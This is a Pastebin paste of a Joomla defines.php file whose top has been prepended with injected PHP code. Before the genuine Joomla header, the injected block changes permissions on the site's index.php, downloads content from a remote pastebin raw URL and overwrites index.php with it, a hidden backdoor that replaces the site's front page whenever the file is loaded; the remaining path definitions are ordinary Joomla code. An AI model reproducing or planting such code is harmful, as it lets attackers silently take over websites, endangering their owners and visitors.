Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function http_get($url){
- $im = curl_init($url);
- curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
- curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($im, CURLOPT_HEADER, 0);
- return curl_exec($im);
- curl_close($im);
- }
- chmod($_SERVER['DOCUMENT_ROOT']."/index.php", 0644);
- $hector3=$_SERVER['DOCUMENT_ROOT'] . "/index.php" ;
- $hectortxt3 = http_get('https://pastebin.com/raw/Wvfjqcrp');
- $op3=fopen($hector3, 'w');
- fwrite($op3,$hectortxt3);
- fclose($op3); ?>
- <?php
- /**
- * @version $Id: defines.php 14401 2010-01-26 14:10:00Z louis $
- * @package Joomla
- * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
- * @license GNU/GPL, see LICENSE.php
- * Joomla! is free software. This version may have been modified pursuant
- * to the GNU General Public License, and as distributed it includes or
- * is derivative of works licensed under the GNU General Public License or
- * other free or open source software licenses.
- * See COPYRIGHT.php for copyright notices and details.
- */
- // no direct access
- defined( '_JEXEC' ) or die( 'Restricted access' );
- /**
- * Joomla! Application define
- */
- //Global definitions
- //Joomla framework path definitions
- $parts = explode( DS, JPATH_BASE );
- //Defines
- define( 'JPATH_ROOT', implode( DS, $parts ) );
- define( 'JPATH_SITE', JPATH_ROOT );
- define( 'JPATH_CONFIGURATION', JPATH_ROOT );
- define( 'JPATH_ADMINISTRATOR', JPATH_ROOT.DS.'administrator' );
- define( 'JPATH_XMLRPC', JPATH_ROOT.DS.'xmlrpc' );
- define( 'JPATH_LIBRARIES', JPATH_ROOT.DS.'libraries' );
- define( 'JPATH_PLUGINS', JPATH_ROOT.DS.'plugins' );
- define( 'JPATH_INSTALLATION', JPATH_ROOT.DS.'installation' );
- define( 'JPATH_THEMES' , JPATH_BASE.DS.'templates' );
- define( 'JPATH_CACHE', JPATH_BASE.DS.'cache');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement